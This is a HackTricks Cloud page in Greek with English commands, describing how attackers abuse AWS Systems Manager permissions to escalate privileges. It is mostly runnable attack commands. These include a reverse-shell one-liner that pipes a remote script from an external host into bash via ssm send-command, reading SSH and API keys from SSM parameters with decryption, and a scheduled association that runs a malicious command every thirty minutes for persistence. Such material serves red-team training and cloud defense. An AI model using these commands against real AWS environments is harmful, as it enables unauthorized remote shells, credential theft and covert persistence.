AWS - SSM Privesc
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
SSM
Για περισσότερες πληροφορίες σχετικά με το SSM δείτε:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
ssm:SendCommand
Ένας attacker με την άδεια ssm:SendCommand μπορεί να εκτελέσει εντολές σε instances που τρέχουν τον Amazon SSM Agent και να παραβιάσει το IAM Role που τρέχει μέσα σε αυτά.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
Σε περίπτωση που χρησιμοποιείτε αυτήν την τεχνική για να escalate privileges μέσα σε ένα ήδη compromised EC2 instance, μπορείτε απλά να καταγράψετε το rev shell τοπικά με:
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
Πιθανός Αντίκτυπος: Άμεση privesc στα EC2 IAM roles που είναι συνημμένα σε instances που τρέχουν SSM Agents.
ssm:StartSession
Ένας επιτιθέμενος με την άδεια ssm:StartSession μπορεί να ξεκινήσει μια σύνδεση τύπου SSH σε instances που τρέχουν τον Amazon SSM Agent και να compromise the IAM Role που τρέχει μέσα σε αυτήν.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"
Caution
Για να ξεκινήσετε μια συνεδρία χρειάζεται να έχετε εγκαταστήσει το SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
Potential Impact: Άμεσο privesc στα EC2 IAM roles που είναι attached σε εκτελούμενες instances με ενεργούς SSM Agents.
Privesc σε ECS
Όταν οι ECS tasks τρέχουν με ExecuteCommand enabled χρήστες με επαρκή δικαιώματα μπορούν να χρησιμοποιήσουν ecs execute-command για να εκτελέσουν μια εντολή μέσα στο container.
Σύμφωνα με την τεκμηρίωση αυτό γίνεται δημιουργώντας ένα ασφαλές κανάλι μεταξύ της συσκευής που χρησιμοποιείτε για να ξεκινήσετε την “exec“ εντολή και του στοχευμένου container με το SSM Session Manager. (SSM Session Manager Plugin απαραίτητο για να λειτουργήσει αυτό)
Επομένως, χρήστες με ssm:StartSession θα μπορούν να αποκτήσουν shell μέσα σε ECS tasks με αυτή την επιλογή ενεργοποιημένη απλώς εκτελώντας:
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
.png)
Πιθανός Αντίκτυπος: Άμεση privesc στα ECS IAM roles που είναι συνδεδεμένα με running tasks με ενεργοποιημένο το ExecuteCommand.
ssm:ResumeSession
Ένας attacker με την άδεια ssm:ResumeSession μπορεί να re-start a SSH like session in instances που τρέχουν τον Amazon SSM Agent με κατάσταση SSM συνεδρίας disconnected και να compromise the IAM Role που τρέχει μέσα σε αυτήν.
# Check for configured instances
aws ssm describe-sessions
# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
Potential Impact: Άμεσο privesc στους EC2 IAM roles που είναι συνδεδεμένοι με running instances που έχουν SSM Agents σε λειτουργία και αποσυνδεδεμένες συνεδρίες.
ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)
Ένας επιτιθέμενος με τα αναφερόμενα δικαιώματα θα μπορεί να απαριθμήσει τα SSM parameters και να τα διαβάσει σε clear-text. Σε αυτές τις παραμέτρους συχνά μπορείτε να βρείτε ευαίσθητες πληροφορίες όπως SSH keys ή API keys.
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
Potential Impact: Εύρεση ευαίσθητων πληροφοριών μέσα στις παραμέτρους.
ssm:ListCommands
Ένας attacker με αυτή την άδεια μπορεί να απαριθμήσει όλες τις commands που στάλθηκαν και, ενδεχομένως, να βρει ευαίσθητες πληροφορίες σε αυτές.
aws ssm list-commands
Potential Impact: Βρείτε ευαίσθητες πληροφορίες μέσα στις γραμμές εντολών.
ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)
Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να απαριθμήσει όλες τις εντολές που στάλθηκαν και να διαβάσει την έξοδο που παράχθηκε, ελπίζοντας να βρει ευαίσθητες πληροφορίες σε αυτή.
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
Πιθανός Αντίκτυπος: Μπορεί να αποκαλυφθούν ευαίσθητες πληροφορίες στην έξοδο των εντολών.
Χρήση του ssm:CreateAssociation
Ένας επιτιθέμενος με την άδεια ssm:CreateAssociation μπορεί να δημιουργήσει ένα State Manager Association για να εκτελεί αυτόματα εντολές σε EC2 instances που διαχειρίζονται από SSM. Αυτές οι associations μπορούν να ρυθμιστούν να εκτελούνται σε σταθερά διαστήματα, καθιστώντας τες κατάλληλες για backdoor-like persistence χωρίς διαδραστικές συνεδρίες.
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
Note
Αυτή η μέθοδος persistence λειτουργεί όσο το EC2 instance διαχειρίζεται από Systems Manager, ο SSM agent τρέχει, και ο επιτιθέμενος έχει άδεια να δημιουργεί associations. Δεν απαιτεί interactive sessions ή ρητές άδειες ssm:SendCommand. Σημαντικό: Η παράμετρος
--schedule-expression(π.χ.,rate(30 minutes)) πρέπει να σέβεται το ελάχιστο διάστημα που ορίζει η AWS, 30 λεπτά. Για άμεση ή εφάπαξ εκτέλεση, παραλείψτε εντελώς την παράμετρο--schedule-expression— η association θα εκτελεστεί μία φορά μετά τη δημιουργία.
Codebuild
Μπορείτε επίσης να χρησιμοποιήσετε το SSM για να μπείτε σε ένα codebuild project που χτίζεται:
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

